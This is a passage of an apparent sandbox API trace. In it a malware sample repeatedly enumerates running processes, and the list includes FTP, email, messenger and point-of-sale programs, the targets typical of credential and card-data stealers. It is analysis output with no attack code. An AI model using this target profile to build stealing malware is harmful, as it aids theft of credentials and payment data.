th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0250.795] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.796] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0250.798] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0250.851] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.853] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0250.854] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0250.856] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0250.858] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0250.860] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0250.862] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0250.864] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0250.866] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0250.869] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0250.871] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0250.873] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0250.874] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0250.876] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0250.878] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0250.880] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0250.882] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0250.884] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0250.927] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0250.929] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0250.930] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0250.931] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0250.933] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0250.934] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0250.936] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0250.937] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0250.938] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0250.940] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0250.942] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0250.944] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0250.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0250.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0250.949] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0250.951] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0250.953] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0250.955] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0250.957] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0250.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0250.961] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0250.963] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0250.965] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0250.967] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0250.968] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0250.970] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0251.021] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0251.024] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0251.026] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0251.029] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0251.030] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0251.032] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0251.034] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0251.036] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0251.037] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0251.039] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0251.040] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0251.042] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0251.044] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0251.045] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0251.047] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0251.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0251.050] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0251.051] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0251.053] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0251.108] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0251.109] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0251.111] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0251.112] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0251.114] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0251.115] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0251.117] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0251.118] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.120] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.121] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0251.123] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0251.124] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0251.126] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0251.127] CloseHandle (hObject=0x13b0) returned 1 [0251.127] Sleep (dwMilliseconds=0x64) [0251.161] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0251.172] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.173] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.174] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.176] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 